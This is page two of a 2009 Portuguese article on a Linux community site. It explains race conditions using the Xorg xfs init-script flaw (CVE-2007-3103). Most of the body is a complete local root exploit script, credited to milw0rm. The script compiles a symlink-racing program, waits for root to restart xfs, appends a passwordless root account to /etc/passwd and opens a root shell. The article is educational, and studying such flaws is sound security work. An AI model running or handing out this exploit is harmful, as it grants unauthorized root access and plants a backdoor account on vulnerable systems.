Linux slogan
Visite também: Segurança Linux · BR-Linux.org · Dicas-L · Doode · NoticiasLinux · SoftwareLivre.org · UnderLinux



» Screenshot
» Login
Login:
Senha:

Se você ainda não possui uma conta, clique aqui.

Esqueci minha senha



Artigo

Race Condition
Linux user
luizvieira
04/05/2009
Explicação do que é uma race condition e de que forma ela está vinculada à falha de DNS, recentemente descoberta por Dan Kaminsky.
Por: Luiz Vieira | Blog: http://hackproofing.blogspot.com/
[ Hits: 10109 ]
Conceito: 10.0   3 voto(s)3 voto(s)3 voto(s)3 voto(s)3 voto(s) + quero dar nota ao artigo

Exemplo de exploit para race condition no XFS

O exploit abaixo, explora uma vulnerabilidade de race condition no Xorg versão 1.0.2-3.1 e anteriores, da distribuição Linux Redhat.

A vulnerabilidade está na função start() do script /etc/init.d/xfs.
  • XFS é o "X Font Server", e é utilizado para criar fontes para o sistema X Window.
  • "init.d" refere-se ao script de inicialização e desligamento (shutdown) utilizado por sistemas de plataforma Linux.

No momento do boot ou desligamento da máquina, estes scripts são executados pelo init.d para iniciar e parar vários serviços do sistema.

Maiores informações sobre tal vulnerabilidade podem ser encontradas nesse link:
#!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
#
# $ id
# uid=1001(kecos) gid=1001(user) groups=1001(user)
# $ sh xfs-RaceCondition-root-exploit.sh
# [*] Generate large data file in /tmp/.font-unix
# [*] Wait for xfs service to be (re)started by root...
# [*] Hop, symlink created...
# [*] Launching root shell
# -sh-3.1# id
# uid=0(root) gid=0(root) groups=0(root)

# ...
# rm -rf $FONT_UNIX_DIR
# mkdir $FONT_UNIX_DIR
# chown root:root $FONT_UNIX_DIR
# chmod 1777 $FONT_UNIX_DIR
# ...


FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000

if [ ! -d $FontDir ]; then
   printf "Is xfs running ?\n"
   exit 1
fi

cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF

cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: Cant compile code"
   exit 1
fi

printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
   printf "Error: cant create large file"
   exit 1
fi

printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
   printf "Error: code failed...\n"
   exit 1
fi

if [ -L /tmp/.font-unix ]; then
    printf "[*] Hop, symlink created...\n"
    printf "[*] Launching root shell\n"
    sleep 2
    rm -f /tmp/.font-unix
    echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t

Fonte: milw0rm.com

<< Página anterior Próxima página >>




Páginas do artigo
   1. Race Condition
   2. Exemplo de exploit para race condition no XFS
   3. Exemplo de exploit para DNS cache poisoning

Outros artigos deste autor

Leitura recomendada

Comentários
[1] Comentário enviado por ctrlc em 05/05/2009 - 09:55h:

Estou gostando do nivel dos temas discutidos nos Artigos. Abraços!!!


[2] Comentário enviado por grandmaster em 05/05/2009 - 21:19h:

Realmente, estão muito bons. Trazendo alguns aspectos de segurança para conhecimento da galera.


Renato de Castro Henriques
CobiT Foundation 4.1 Certified ID: 90391725
http://www.renato.henriques.nom.br


[3] Comentário enviado por AprendizPinguim em 12/05/2009 - 10:10h:

Excelente artigo meu caro amigo!

Abraço!


[4] Comentário enviado por marcrock em 14/05/2009 - 03:51h:

Realmente um artigo excelente !
Esse tema é muito interessante , gostaria de saber se essas condições de race tem relação direta com o modo como o núcleo dos So's gerenciam os atendimentos aos descritores de arquivos e sockets nos diversos subsistemas ( open(), select() , ppoll(), etc ... ), ou diz respeito apenas a implementação do protocolo DNS ou do BIND ???

Parabéns pelo artigo .

Até +.



Contribuir com comentário


  
Para executar esta ação você precisa estar logado no site, caso contrário, tudo o que for digitado será perdido.
Responsável pelo site: Fábio Berbert de Paula - Conteúdo distribuído sob licença GNU FDL
Site hospedado por:

Viva o Linux

A maior comunidade Linux da América Latina! Artigos, dicas, tutoriais, fórum, scripts e muito mais. Ideal para quem busca auto-ajuda em Linux.